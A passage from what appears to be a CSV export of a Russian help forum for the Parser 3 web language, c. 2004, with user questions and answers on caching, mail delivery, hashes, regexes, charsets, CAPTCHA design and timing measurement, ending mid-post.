"25322","Всё верно МОдреврайт и request тебе в руки.\
http://www.parser.ru/docs/lang/requestclass.htm"
"25324","Спасибо, попробую..."
"25325","До этого я и сам дошёл, я не пойму как всё это со структурой Парсера связать."
"25326","Никто случайно не сталкивался с проблемами при их совместном использовании? Симптомы: логин сделать получается, а вот при переходе на другую страничку (или при повторной загрузке _auth_info.html, без POST-запроса) $auth_data.is_logon = 0. При этом сессионная и пользовательская кука остаются теми же.\
\
Замена в auth.p REMOTE_ADDR на HTTP_X_REAL_IP (AccelSetXRealIP on) не помогает. В чем еще может быть дело?"
"25327","Есть таблица table, нужно бырать из неё первые n записей и узнать, есть ли там еще записи?\
Вариант в лоб:\
[code]\
$total[^int:sql{SELECT COUNT(*) FROM table}[$.default{0}]]\
$list[^table::sql{SELECT ... FROM table}]\
^list.menu{\
   ...\
}\
^if($total > ^list.count[]){\
   <a href='./all.html'>Весь список...</a>\
}\
[/code]\
Но очень хотелось бы сделать из двух запросов один.\
Есть варианты?\
Спасибо."
"25328","[code]\
$list[^table::sql{SELECT ... FROM table}[$.limit(^eval($n+1))]]\
^list.menu{\
   ...\
   ^if(^list.line[] == ^list.count[]){\
      <a href='./all.html'>Весь список...</a>\
   }\
}\
[/code]"
"25329","В чём собственно проблема?"
"25331","…что кешировать контент в данном случае нельзя (а именно кешированием упомянутый модуль и занимается)\
\
возможно поможет использование директив AccelPassCookie и AccelCacheCookie\
\
однако я все равно не уверен, что стОит кешировать подобные запросы, т.к. на страницах, где используется класс авторизации скорее всего контент различен для разных посетителей, и кеширование фактически будет помогать от Reload-а."
"25333","пытаюсь сделать архивирование файлов, но не всё получается (точнее всё не получается)\
вот вызов\
[code]\
$cgi_file[^file::exec[/files/zip.sh;]]\
$cgi_file.text\
[/code]\
а вот скрипт:\
[code]\
#!/bin/bash\
#\
zip -9 output.zip input.doc \
echo Privet\
[/code]\
\
Так вот, скрипт прекрасно выводит Privet, но архивировать почему-то не хочет. При этом, если его запустить из командной строки на сервере, то всё отлично всё архивируется. В чём моя ошибка?\
Спасибо"
"25334","AccelPassCookie помогло, огромное спасибо!\
\
Кэшировать такие запросы, конечно-же, не стоит, но их никто и не кэширует - от setExpireHeaders никуда не деться :-)"
"25336","попробуйте указать в скрипте полный путь к zip.\
или может не достаточно прав."
"25337","я написал zip, но там на самом деле /usr/bin/zip, но это не важно, я же написал, что при запуске из командной строки на сервере (заходил через putty) всё прекрасно архивируется"
"25338","А будет на нашей улице праздник? \
Будет свежатинка (3.1.1) groupunlim?"
"25339","а когда вы конектитесь к БД MySQL рутом чёго именно вы боитесь? :-)"
"25341","sms-шлюз номер@sms.beemail.ru работает только для абонентов, подключивших эту услугу вручную - http://www.beeonline.ru/portal/comm/mem.sms?section=mail2sms\
\
Если хотите отправлять sms с сервера, подключаете мобильник к usb или com, пишете cgi-ку, которая будет последником между парсером и портом и время от времени вносите деньги на аккаунт телефона. Других надёжных способов нет."
"25342","согласно доке на mod_accel он должен смотреть на выдаваемые заголовки, и не кешировать при наличии тех заголовков, которые я отдаю в setExpireHeaders."
"25343","1.\
ваша командная строка обрабатывается командным процессором, в котором задан PATH.\
\
parser запускается без всякого командного процессора, и когда parser запускает внешний скрипт, делает это опять же без командного процессора.\
\
так что путь надо задать.\
\
2.\
переменная напрасно называется cgi_file, вы никакой не CGI запускаете.\
\
3.\
есть file.stderr, в нём ошибки.\
\
4.\
вы не прислушиваетесь к советам, считая себя выше(?) их?\
вам ведь посоветовали правильную вещь, почему не проверили?"
"25344","А что странного?"
"25345","такая услуга (с уже подключенным телефонам) уже вовсю предоставляется на коммерческой основе.\
\
причём можно и отправлять и принимать."
"25346","...т.е. похоже все-таки что-то кешируется-таки..."
"25347","Версия с XML (Для FreeBSD) работает нормально, без оного действительно валится. Почему не знаю пока. Будет время поковыряюсь и пересоберу если надо."
"25348","\"Директива определяет, можно ли передавать cookie клиента бэкенду, если его ответ на запрос в принципе может быть закэширован.\"\
\
Я подозреваю, что под словами \"в принципе\" тут понимается отсутствие в запросе Cache-Control: no-cache и слова из директивы AccelInvalidate."
"25349","пример из документации\
[code]\
$man[ \
   $.name[Вася] \
   $.age[22] \
   $.sex[m] \
] \
^man.foreach[key;value]{ \
        $key=$value \
}[<br>] \
\
[/code]\
 работает, а мой \
[code]\
$grp_t_hash[^hash::sql{select gid,rname from grp ORDER BY rname ASC}]\
^grp_t_hash.foreach[key;value]{\
        $key=$value \
}[<br>] \
[/code]\
не работает\
что я делаю не так."
"25350","[url=\"/faq/forum/\"]FAQ читать! КАК ЗАДАВАТЬ ВОПРОСЫ! Блин.[/url]\
\
P.S. заодно можно почитать что именно врзвращается в результате упомянутого sql запроса. если точнее то что вы думаете парсер должен показать вам когда вы печатаете $value? gid? rname?"
"25351","[code]\
$grp_t_hash[^hash::sql{select gid,rname from grp ORDER BY rname ASC}]\
^grp_t_hash.foreach[key;value]{\
        $key=$value.rname \
}[<br>] \
[/code]"
"25353","в этом форуме каждое сообщение оформляется как отдельный объект (т.е. заносится в таблицу OBJECT)?"
"25354","Код:\
[code]\
^mail:send[\
      $.from[test@test.ru]\
      $.to[gerby-test@yandex.ru]\
      $.subject[test]\
      $.text[test]\
] \
[/code]\
письмо не доходит,\
на другие почтовые ящики - все нормально\
\
попробовал у 2-х разных хостеров\
\
кто-нибудь сталкивался? техподдержка яндекса ничего толком не сообщает ;(\
\
P.S. Тестовое письмо из панели управления сайтом на тот же ящик @yandex доходит(!).  Т.е. не доходит только письмо отправленное скриптом."
"25355","сейчас у каждой почтовой службы своя чудесатая система борьбы со спамерами...\
\
попробуйте в поле $.from[...] указать реальный почтовый адрес, или хотя-бы реальный его домайн, может прокатить..."
"25356","Допустим есть файл amp.p, а в нем\
[code]\
item\
Parser & Parser\
[/code]\
Этот код:\
[code]\
$amp[^table::load[/amp.p]]\
$amp.item\
[/code]\
выводит: \"Parser &Parser\". Т.е. обрезает пробел идущий за \"&\""
"25359","В index.html\
[code]\
@USE\
/classes/uri.p\
/classes/sections.p\
\
@main[]\
$uri[^uri::init[$form:uri]]\
$pc[^table::load[/cfg/pageclasses.cfg]]\
\
^if(^pc.locate[dir;^uri.dir_number[1]]){\
  ^use[/classes/${pc.pageclass}.p]\
  ^process{^^$pc.pageclass:page[]}\
}{\
<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\
<html>\
^head:head[]\
<body>\
404\
</body>\
</html>\
}\
[/code]\
В test.p:\
[code]\
@CLASS\
test\
\
@page[]\
<table cellpadding=\"0\" cellspacing=\"0\" border=\"1\">\
<tr><td>\
$amp[^table::load[/amp.p]]\
$amp.item\
</td></tr>\
</table>\
[/code]\
Код других классов приводить нет смысла, т.к. там нет ничего, что, по-моему мнению, может вызвать такое поведение. Если вам будет не трудно, проверьте пожалста. Если вместо символа \"&\" использовать другой, то все ок."
"25361","267028111"
"25362","Oleg, если тебе не трудно ты не могбы привести пример как реализовать:\
есть папка news, при вводе news/arhiv/2004 должна вызываться некая функция. Папки arhiv и 2004 естественно отствуют.\
\
Вопрос вот в чём есть ли разница (по сравнению с php) в содержании файла .htaccess.\
И куда конкретно вставлять обработку строки запроса.\
\
Обычно я в index.php писал что то типа\
\
header(\"http/1.0 200 Ok\");\
$num=$REQUEST_URI;\
$num=eregi_replace(\"http://www.mindwork.ru\",\"\",$num);\
list ($d1, $d2, $d3, $d4) = split ('/', $num);"
"25363","Есть два файла amp.p и test.html. В первом:\
[code]\
item1	item2\
P & P	P ? P\
[/code]\
во втором:\
[code]\
<table>\
<tr><td>\
$amp[^table::load[/amp.p]]\
$amp.item1\
<br>\
$amp.item2\
</td></tr>\
</table>\
[/code]\
Выводит:\
P &P\
P ? P"
"25364","1. Об этом я знал. Переменная Path существует и для командного процессора. Изначально был вариант с полным путем, после путь был сокращен. \
2. Если назвать переменные просто from и to то парсер выдает ошибку not safe environment variable\
3. При вызове $cgi_file.stderr сервер выдает 500 ошибку, а влогах сервера пишется Premature end of script headers: /home/vernadsky/cgi-bin/parser3/parser3.cgi"
"25365","При установке Парсера у хостера bizserver.ru возникли проблемы.\
ОС FreeBSP 4.x\
Сервер: Apache 1.3.20rusPL30.\
Скачал с сайта нужные архивы и установил как описано в инструкции.\
Но при обращении по адресу выдается Internal Server Error.\
В логе ошибок вот что: Premature end of script headers: /pub/home/spiders6/cgi-bin/parser3.cgi\
Ставил версию Парсера с поддержной XML и без. \
Помогите разобраться, очень нужно. Только просьба если можно, то обясните попроще. Не сильен я в этом деле :)"
"25366","Действительно ошибка была в правах.\
Но с пунктом 2 я не разобрался\
(Если назвать переменные просто from и to то парсер выдает ошибку not safe environment variable)"
"25367","И почитайте пожалуйста фак."
"25368","действительно, при обработке taint перед выдачей броузеру похоже заменяется не '&' на '&amp;', а '& ' на '&amp;'\
\
переправил PAF-у.\
\
в вашем случае если вы напишите ^taint[as-is][$amp.item1] пробел не пропадет (естественно если вам тут важет taint такой способ не прокатит)"
"25369","посмотрите что говорит про это [url=\"/docs/lang/filecgiexec.htm\"]дока[/url]"
"25370","второй ошибочно пробел подпал под оптимизацию white spaces.\
короткий пример:\
[code]\
^taint[1 & 2]\
[/code]\
\
workaround: если нужно срочно, выключите оптимизацию:\
[code]\
#или не html, а что нужно (xml?)\
^untaint[html]{\
    ^taint[1 & 2]\
}\
[/code]"
"25372","только перед использованием парсер нужно установить и в коде страниц с ошибками необходимо использовать его синтаксис."
"25374","конечно, и реальные адреса пробовал...\
переписываюсь с суппортом яндекса, пока решения нет \
;("
"25375","послал на Яндекс-ящик из Бата два письма, одно нормальное, другое с несуществующим адресом отправителя, дошло только первое.\
Doublecheck, на всякий случай, аналогично.\
\
По ходу эксперимента выяснились еще две особенности - теперь уже службы майл.ру - с несуществующим адресом отправителя письма туда тоже не доходят, плюс не доходят туда и с нормальным адресом, но засунутым в BCC. Вот.\
\
[Updated] Возможно кроме from они проверяют и ещё какие-нибудь загловки, но врядли это удастся у них так легко выведать - антиспамерская политика типа...\
\
BCC на майл.ру таки доходит, но ооочень меедленно..."
"25376","Может вот это тебе поможет\
http://www.parser.ru/docs/lang/stringsplit.htm\
\
>Вопрос вот в чём есть ли разница (по сравнению с php) в содержании файла .htaccess.\
Я незнаком с PHP, но в моём случае я брал пример для обучения из примеров PHP.\
Делаю вывод - Разницы нет.\
\
В общем работающий пример выглядит так:\
В файл .htaccess добавляешь:\
RewriteEngine On\
RewriteRule $ index.html\
\
В index.html пишешь:\
$str[$request:uri] \
$parts[^str.split[/;h]] \
$parts.0,<br>\
$parts.1,<br>\
$parts.2,<br>\
...,\
..,\
.,\
, \
\
дальше как один из вариантов:\
^switch[строка для сравнения]{\
   ^case[вариант1]{действие для 1}\
   ^case[вариант2]{действие для 2}\
   ^case[вариант3;вариант 4]{действие для 3 или 4}\
         …          \
   ^case[DEFAULT]{вариант по умолчанию}\
}"
"25377","[code]\
^mail:send[\
      $.from[ваш_e-mail.ru]\
      $.to[gerby-test@yandex.ru]\
      $.subject[test]\
      $.text[test]\
] \
[/code]\
если не дойдет, то я хоть буду уверен, что проблема в почте яндекса, а не у хостера"
"25378","При скачивании файла по https с помощью wget'а, файл сохраняется, но содержание всегда одинаково: \
1!-2147217913!Error converting data type nvarchar to datetime.!22018!8114!Microsoft OLE DB Provider for SQL Server~~Error:Error converting data type nvarchar to datetime.\
\
Как думате в чем причина и как обойти эту проблему?"
"25379","На многих сайтах в качестве меры защиты от заполнения форм роботом применяется такая штука как слово, написанное на картинке (типа этого - http://www.beeonline.ru/portal/comm/send_sms/simple_send_sms.sms). Предполагается, что когда форму заполняет человек, он сможет прочитать это слово и вбить его в окошко рядом - а робот - нет.\
\
[code]<form>\
  <img src=\"картинкасцифрами.gif\">\
  <input type=\"hidden\" name=\"crypted\" value=\"зашифрованное_значение цифр_на_картинке\"/>\
  <input type=\"text\" name=\"confirm\"/> Введите сюда текст, который вы видите на картинке\
  <input type=\"Submit\"/>\
</form>\
[/code]\
\
Всё работает, всё генерируется - сказка.\
\
Но вот какая подлость - что мешает злостному спамеру один раз зайти на мой сайт, прочитать цифры на картинке, а потом подставлять в форму известные ему ?crypted=topsecret&confirm=12345 ?\
\
Подставлять в форму ещё одно поле - до какого времени может быть использован код на картинке? Но и за разумные 15 минут мне могут загадить сайт так, что мало не покажется - а сделаю меньше, разумному человеку времени не хватит на написание ответа.\
\
Есть идеи?"
"25380","а потом сверять криптованное число введенное пользователем с криптованным предварительно сгенерированным числом. Т.е. при каждой загрузке формы - номерочек будет разный ;)"
"25381","спамеру достаточно ОДИН раз увидеть своими собственными человеческими глазами увидеть соответствие <input type=\"hidden\" name=\"crypted\" value=\"zDfKJDhGd2t78\"> и цифрам на картинке, он вобъёт в свой страшный хакерский софт \"MegaSuperPuperFormsFiller\" параметры моей формы и два поля - \"zDfKJDhGd2t78\" и сопоставленные ему цифры \"1234\" - то есть на картинку ему смотреть уже никогда не потребуется. Мне же хочется, чтобы пара \"шифрованное число\" - \"расшифрованное число\" была бы одноразовой в течение часа, например...\
Таблицу, что-ли, делать?"
"25382","ну естественно код усложнится т.к. будет возможно перехода в новый час в процессе заполнения формы.\
\
или можешь дату генерации формы тоже передавать в hidden (но все-таки желательно не в том формате. в котором ты её будешь добавлять к открытому тексту перед crypt).\
\
ещё вариант: выданные значения хранить в отдельной табличке в течении часа, удаляя сразу после использования. если пришло число которого в табличке нету - или заполняли форму > часа, или кто-то скриптом втыкает увиденное ранее значение.\
\
P.S. со временем не самый хороший вариант т.к. знание алгоритма (формата добавляемой даты) позволит обойти защиту, но мне с утра ничего лучше в голову не приходит :)"
"25384","(хорошая штука - этот форум - пишешь и сам дотумкиваешь до решения в процессе).\
\
На промежуточный рзультат можно полюбоваться тут: http://www.bougakov.com/test/"
"25385","Для начала скажу что выдавать простой гифчик с номером, надеясь что его не отловит робот - наивная глупость. \
Мне известны случаи когда даже слишком шумный gif был с легкостью распознан... чем? банальным FineReader-ом. \
Поэтому мной были придуманы несколько иные способы создания такого гифчика. Пример: на газетном обрывке или на куске английского текста. причем позиционирование на гифе было не постоянным, поэтому отловить логику а тем более поймать в тексте пароль очень трудно.\
\
Теперь о том как сверять пароль. В качестве скрытого параметра передавать пароль, пусть даже хешированный тоже глупо, поэтому я просто создал табличку соответсвий из двух полей:\
номер записи, код гифчика\
и передавал не пароль, а номер записи. Подобрать, как вы понимаете это дело не получится.\
\
Сам гифчик генерируется на лету, и занимает это хозяйство меньше секунды, поэтому можно не беспокоиться о задержках (кому надо может придумать генерировать их заранее, мне не надо).\
\
Вот такой вот опыт."
"25386","кирилица, но с употреблением 6 знаков которых нет в русском.\
с выводом понятно: replace много чего решает.\
а вот как обойти траблы с вводом?"
"25388","Помогите советом, пожалуйста\
Ситуация следующая - есть сайт, всё содержание которого находится в базе данных. При запросах к базе не работает сортировка по русским буквам. Лезу в базу и вижу, что там стоит кодировка latin. Вот чёрт. Misha v.3 написал, что изменить кодировку я не смогу (потому что на сервере есть базы других пользователей и админ из-за меня из шкуры вон лезть естесственно не будет)\
Два вопроса: \
1. как я понял, можно делать запрос к базе так \
$SQL.connect-string[mysql://user:password@имя_хоста:номер_порта/database?charset=cp1251_latin]. Где мне взять таблицу кодировок latin для парсера. Что-то не нашёл я её.\
2. можно ли каким-нибудь простым способом взять все таблицы из базы и сменить у них кодировку (допустим, чтобы переехать на другой сервер)?\
3. есть ещё какие-то способы поправить ситуацию?\
Спасибо большое"
"25390","если есть таблица перекодировки из latin (никогда правда не слышал про такую), то можно вплоть до экзотическогос пособа:\
сдедать дамп, открыть его в Far-е в этой кодировке, скопировать, перейтив нужную кодировку и вставить обратно :-)\
\
согласен, косорезно конечно"
"25391","а нет такой, ее недавно ввели в XP, но у меня на Лине - нет ее.\
а для примера как это на вин-1251:\
http://tatarmusic.kazan.ws/ - в латинице\
http://www.tatar.kz/index1_ta.htm - на кирилице\
нас скорей всего припашут делать на кирилице :("
"25392","вы уверены, что кодировка сервера именно latin? просто если там хранят русские тексты то выглядит это очень странным, т.к. сортировка в них не будет работать нормально для всех БД.\
\
1. что такое latin для парсера с вашей точки зрения и как она влияет на то, что хранится в sql? :) в общем на работу sql она совершенно не влияет. а если вам таки нужна парсерная таблица перекодировок - вы можете создать её сами: возьмите в качестве примера windows-1251, скопируйте её, переименуйте, подключите в конфигурационном auto.p и внесите необходимые вам изменения.\
\
2. можно. подключитесь к БД без задания ?charset= или комманд SQL. и выполните бакап. у вас скорее содержимое текста будет в 1251 если вы не задавали никаких ?charset= в строке соединения или в koi8 если задавали. с помошью любого консольного приложения перекодируйте этот дамп (там просто текст с набором комманд по созданию таблиц/вставке данных) в ту кодировку, которая установлена как default на сервере, куда вы планируете переехать. и наконец запустите mysql ... < ваш_дамп.sql в новую базу.\
\
3. если запросы не очень сложные и можно делать запросы достающие небольшие объемы данных, а полученные результаты сортировать парсером - это может быть некоторым решением проблемы."
"25393","SHOW VARIABLES сказало, что character_set - latin1 \
\
скорее всего, русская сортировка не работает нигде, но так как сервер настраивался очень давно, новый админ появился недавно, а пользователям баз сортировка не нужна, это никого не колеблет\
\
насчёт бакэпа - спасибо, видимо придётся так и сделать\
парсером - наверно не выйдет - в таблице 32000 записей - не очень выгодно. при этом важна даже не сортировка, а поиск с помощью LIKE - в данном случае он работает через ж.\
\
В общем, всё понял, большая благодарность"
"25394","яндексом был заблокирован ip из-за спама с другого хоста\
"
"25395","Есть готовая кодировка. куда бросить для всеобщего доступа?"
"25396","Есть страница: index.htm?lang=ru.\
Как поместить значение параметра lang (в данном случае ru) в переменную JavaScript (например, с именем lang) и подставить эту переменную в следующую строку JS:\
\
editorvalue = window.opener.document.form_page.page_{этот_lang}.value;\
\
?\
\
Я понимаю, что вопрос наивный, но очень нужна помощь!"
"25397","editorvalue = window.opener.document.form_page.page_{$form:lang}.value;"
"25400","значит ввели и способ ввода с клавиатуры.\
\
если у посетителя нет XP, то беда.\
есть ли какой-то общепринятый способ обозначения другими буквами?\
\
типа ё=йо :)"
"25401","Сейчас большинство почт отсекает открытые релеи.\
Пользователь во from должен быть локальным"
"25402","Не знает кто-нибудь, как с помощью cron из корневого каталога файлы с расширение *.xml перемещать, например, в /public_html/xml ?"
"25404","в том-то и дело, что вводится это скорей будет у нас(Win98/Linux/Mac)\
пока пробуем склонить в сторону \"татарской латиницы\"\
но если не выйдет - прийдется писать что-то типа \"[code]с[ы]т[/code]\" и и менять на [code]с&#920;т[/code]"
"25405","Я не для того в инет лаЗаю, чтоб русский учить если я пишу прив, выже понимаете о чем я!"
"25406","надеюсь, что с подобным подходом вы не будете получать корректных ответов (уж от меня это точно, т.к. вместо того, чтобы ломать глаза пытаясь прочитать ваш вопрос я предпочту заняться чем-нить более полезным)."
"25408","Помогите реализовать код PHP в Parser'е\
\
if (eregi(\"(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}\",$u_agent,$st_regs)) {\
$st_brows = \"Opera \"; $st_ver = $st_regs[2];\
}\
\
Как я успел заметить чтоб воспользоваться результатами match поиска нужно типа рассматривать возвращаемый обыект table. В общем это работает но не удобно, как сделать ближе к выше показанному . ХЕЛП ПЛИЗ"
"25410","[code]\
$st[^u_agent.match[(opera) (\\d{1,2}.\\d{1,3}){0,1}][i]]\
^if($st){\
  $st_brows[Opera]\
  $st_ver[$st.2]\
}\
[/code]\
\
P.S. в примерах смотрели определение броузера/платформы? может вам подойдет приведенный там метод целиком?"
"25411","Вот это по суи и неудобно то что пригодится вначале присваивать эту тему переменной:\
\
$st[^u_agent.match[(opera) (\\d{1,2}.\\d{1,3}){0,1}][i]]\
\
а потом условие проверять\
\
^if($st){\
  $st_brows[Opera]\
  $st_ver[$st.2]\
}\
\
а если, да оно так и есть, у меня с десяток таких проверок, кода многа толку мало, в PHP покороче будет, соглситесь Parser создавался как альтернативный язык, который ДОЛЖЕН стать попроще. Почему сразу нельзя сделать нечто вроде\
\
$st[^u_agent.match[(opera) (\\d{1,2}.\\d{1,3}){0,1}][i]]\
\
а потом условие проверять\
\
^if(^u_agent.match[(opera) (\\d{1,2}.\\d{1,3}){0,1}][i]){\
  $st_brows[Opera]\
  $st_ver[$match.2]\
}\
\
:< я сейчас заплачу ..."
"25412","Вчера натолкнулся на следующую проблему. Хотел вывести названия форумов по 2 в одной строке, в связи с чем написал следующий скрипт:\
[code]\
<table><tr>\
$cols_number(2)\
^forums.menu{\
	<td><a href=\"$forums.link\">$forums.name</a></td>\
}{\
	^if(^forums.line[] == $cols_number){</tr><tr>^cols_number.inc(2)}\
}\
</tr></table>\
[/code]\
\
Результат получился очень забавный, но совсем не тот что я ожидал, хотя в коде вроде все логично.\
Результат:\
[code]\
<table>\
<tr><td>форум1</td></tr>\
<tr><td>форум2</td><td>форум3</td></tr>\
<tr><td>форум4</td><td>форум5</td></tr>\
<tr><td>форум6</td></tr>\
</table>\
[/code]\
\
Версия Parser 3.1.1 для win32\
\
Писать комментарии о том как это можно обойти не надо, я и сам в состоянии это сделать."
"25413","условие нужно с одной-лишь целью: переложить найденное из таблицы в результатами куда-то.\
\
вам ничего не стОит использовать прямо $st\
\
$st.1 будет содержать 'opera', $st.2 - её версию.\
\
если пишется десяток таких проверок, то мой опыт говорит о том, что с алгоритмами что-то не так...\
\
в любом случае вы всегда можете написать свой любимый оператор:\
[code]\
@eregi[pattern;string;name]\
$caller.$name[^string.match[$pattern][i]]\
^if($caller.$name){\
  $result(1)\
}{\
  $result(0)\
}\
[/code]\
\
\
и использовать почти как привыкли:\
[code]\
^if(^eregi[(opera).([0-9]{1,2}.[0-9]{1,3}){0,1};$env:HTTP_USER_AGENT;st_regs]){\
  $st_brows[Opera]\
  $st_ver[$st_regs.2]\
}[/code]\
\
только вот говорить что подобный код читабельнее наверное не надо. читабельнее он далеко не для всех (не для меня уж точно).\
\
P.S. и ещё насчет удобства... у php я вижу в доке операторы для работы с регулярными выражениями: 6 для POSIX + 7 PCRE. у парсера есть 1 оператор обладающий не меньшей функциональностью (только PCRE, но лично мне POSIX ни разу не был нужен, хотя они должны работать быстрее). "
"25414","В документе file.html содержится ссылка <A name=\"LinkName\">.\
Один из пунктов навигации настроен на ссылку file.html#LinkName\
При запросе $request:uri выдается только file.html вместо file.html#LinkName целиком. Поэтому данный пункт меню не может быть выделен как активный. Как разрешить эту проблему."
"25415","соответственно при выводе меню нужно отрезать все, что идем после решетки и результат сравнивать с $request:uri"
"25416","Не стал бы я так утверждать ;-)\
У него главный тормоз - обязательный возврат самого длинного совпадения.\
И если PCRE (без g) найдет \"a+\" в строке \"aa-aaaaa-aaaaaaaa\" в самом начале и остановится, то POSIX пока не найдет самое длинное (а оно в самом конце), будет искать и искать...\
А тут еще добрые люди текст на 20к подсунут ему... ;-)"
"25417","Подскажите где взять библиотеку для интерпретации XML. Если не трудно то скинте на Dolphin_design@mail.ru"
"25419","http://www.ozon.ru/?context=all_search_list&searchstring=xml"
"25420","я скачивал http://www.parser.ru/f/1/download/win32/parser3_1_1.exe\
\
на скачивал до Нового года! 3,5 метра файл\
только сейчас заметил что на сайте файл выложен 16.01.2004  2,5 МБ\
\
тот, что я ставил, у меня работал некоторое время, а потом IIS вышибало начисто и сервис останавливается с ошибкой так что его потом нельзя перезапустить + библиотеки для MySQL и XML нельзя удалить из каталога - перегружаться пока не пробовал.\
Вот такие дела. Может я чего пропустил - были найдены баги в новой версии и выложена 16 числа сегомесяца обновлённая версия?"
"25422","и он упаконан другим алгоритмом (раньше паковался алгоритвом bzip, а с RC1 в NSIS появился lzma, которым и запаковано теперь) поэтому имеет меньий размер."
"25423","я сейчас попробовал оценить производительность - стал использовать метод @rusage из хелпа\
он мне пишет примерно следующее в лог:\
[2004-01-21 14:44:25.796875] 192.168.0.254: total 53.9531 66.1406 /index.html \
\
получается\
utime = 53 секунды\
stime = 66 секунд\
в хелпе единица измерения \"Секунда\"!!!\
чего-то я не пойму - у меня страничка генерится мгновенно, а в логе пишется что почти целую минуту\
\
КАК ЭТО ПОНИМАТЬ???"
"25424","у меня показываются значения: 0.0200288 и т.д. (apache, p3.1.1 cgi)"
"25425","скачал отдельно http://www.parser.ru/f/1/download/win32/parser3_1_1_win32_isapi_xml.zip\
\
всё равно через 5 минут IIS повис полностью (со всеми сайтами, даже для которых парсер 3.1.1 не был прикручен)\
\
но теперь у меня есть одно подозрение почему всё виснет:\
я в главном auto.p закоментировал строчку в методе\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
^unhandled_exception_release[$exception;$stack]\
\
в таком виде (т.е. когда ^unhandled_exception_release[$exception;$stack] не был закоментирован) мне метод ругался на UTF, что-то у него там с преобразованием к верхнему регистру не ладилось вроде бы (я особого значения не придал - просто решил закоментировать и посмотреть чего будет) - на версии 3.0.7 этот код работал без проблем. После коментирования строчки этот скрипт несколько раз отработал вроде как нормально, а потом всё повисло.\
Сейчас перегружу комп и повторю эксперимент - заодно ошибку скопирую, которую парсер выдавал!\
В связи с этим вопрос - теперь чтобы перейти на версию 3.1.1. надо ранее написанный код проверять и исправлять???"
"25426","$temp[^hash::create[]]\
\
$temp.pupkins.father.name[Vasya]\
$temp.pupkins.father.nick[pup]\
$temp.someother.father.name[Petya]\
$temp.someother.father.nick[someone]\
\
Но такое не работает element can not be stored to void. Ткните в доку, а то что-то я ентого там не нарыл. Торможу видать :("
"25427","вам надо создать их ручками (можете написать метод который будет добавлять запись вашего формата в хеш)\
\
такой вариант не подходит?\
[code]\
$temp[\
	$.pupkins[\
		$.father[\
			$.name[Vasya]\
			$.nick[pup]\
		]\
	]\
	$.someother[\
		$.father[\
			$.name[Petya]\
			$.nick[someone]\
		]\
	]\
]\
[/code]\
\
или может опишите вашу задачу?"
"25428","по поводу \"правки и исправления\" кода: то что нужно править в новостях сообщается заранее. \
\
подобных изменений было не так уж и много. и 99.9% кода должно продолжать работать без проблем.\
\
с момента 3.0.7 было по моему всего 2 изменения, которые нужно было править (описаны в новостях):\
1. Ужесточены правила именования переменных окружения для ^file::exec/cgi[…], теперь имя должно быть написано латинскими буквами в верхнем регистре или цифрами, также допустимы минус и подчеркивание.\
2. в метод postprocess будет приходить то, что передано в $response:body/download. Необходимо иметь это в виду, и, возможно, проверить параметр: ^if($body is file){…}\
\
ну и если кто-то пользовался багами, которые были устранены, то ему тоже придется вносить изменения в код :)"
"25430","Ничего удивительного, для модуля отдаются значения с момента его (модуля) старта т.ч. надо смотреть разность значений на старте и на выходе из скрипта."
"25431","^offline.menu{\
$temp.[$offline.model][$.[$offline.id][$offline.name]]\
}\
\
вообщем в итоге я пришел к такому.\
Задача стоит так, что я формирую хэш постепенно в ходе работы программы."
"25432","А есть ли в парсере средства дампинга хэшей в файлы и обратно?"
"25433","вот какое сообщение об ошибке выдаёт:\
change_case_UTF8 error: too big tmpVal(0xFFFFFF80)\
\
вот скрипт, на котором парсер 3.1.1. спотыкается\
(на всех остальных страницах отрабатывает нормально)\
[code]\
@myJAVA[]\
<script language=\"JavaScript\">\
function changetext(){\
document.form1.description.value=document.form1.words.value;\
}\
</script>\
\
\
\
@body[][tempTab]\
\
$tempTab[^table::sql{\
	SELECT left(word,1) as l\
	from glossary\
	where word is not null\
	group by l\
	order by l}]\
\
^if(def $form:letter){$L[^form:letter.upper[]]}{$L[$tempTab.l]}\
$L[^L.left(1)]\
\
$letterSCROLL[<h3>\
^tempTab.menu{\
^if($L eq ^tempTab.l.upper[]){$tempTab.l}{<A href=\"/glossary/?letter=$tempTab.l\">$tempTab.l</A>}\
}[ - ]\
</h3>]\
\
$letterSCROLL\
\
\
$tempTab[^table::sql{\
	SELECT word, description\
	from glossary\
	where word is not null AND (left(word,1)=\"$L\" OR left(word,1)=\"^L.lower[]\")\
	order by word}]\
\
<style>\
.sel {\
	width: 500px;\
}\
.shadow{\
width: 500px;\
background-color:#f1f1f1;\
font-family: Verdana, Arial, Helvetica, sans-serif;\
font-size: 12px;\
border: 1px #999999 solid;\
height : auto;\
}\
</style>\
\
<CENTER>\
<table width=\"1\" border=\"0\" cellspacing=\"5\" cellpadding=\"1\">\
  <form name=\"form1\" method=\"post\" action=\"\">\
  <tr>\
    <td align=right>\
    <select class=\"sel\" name=\"words\" size=\"10\" onchange=\"javascript:changetext();\">\
      ^tempTab.menu{\
      <option value=\"$tempTab.word &#151^; ^taint[as-is][$tempTab.description]\">^taint[as-is][$tempTab.word]</option>\
      }\
    </select>\
    </td>\
   </tr>\
   <tr>    \
    <td align=right>\
    <textarea rows=\"12\" cols=\"50\" name=\"description\" class=\"shadow\" onfocus=\"javascript: document.form1.words.focus();\"></textarea>\
    </td>\
  </tr>\
  </form>\
</table>\
[/code]"
"25435","Получается в данном варианте Парсер заменяет вложенных хэш вместо того, чтобы добавлять в него значения... Что посоветуете?"
"25438","Разность между чем и чем вы имеете в видуи как предлагаете  измерить оба этих значения?\
у меня, например, в логе есть строки где utime>stime"
"25440","RTFM: http://www.parser.ru/docs/lang/statusrusage.htm\
\
utime - Чистое время, затраченное текущим процессом\
(не включает время, когда работали другие задачи)\
stime - Время, сколько система читала ваши файлы, каталоги, библиотеки\
\
В отличии от CGI, модуль висит в памяти постоянно, и по окончании выполнения скрипта не вылетает, значения utime и stime постоянно ростут. Вызывайте rusage дважды (в начале и конце скрипта) и смотрите real_utime = utime_end - utime_start, stime - аналогично."
"25441","C IIS - никогда не имел дела, а написал к тому, что значения utime и stime будут рости, почему - ниже."
"25443","при hash::sql, правда уровень вложенности всего 2 :)"
"25445","Это не просто похоже, а и есть правда :), цитирую автора Win32 реализации метода Виктора Федосеева: \"Естественно, из этой инфы не узнаешь ничего про конкретный запрос, только про весь сервак с момента запуска.\" Писалось, это о модуле для Апача, но должно быть верно и для IIS."
"25448","$temp[^hash::create[]]\
^offline.menu{\
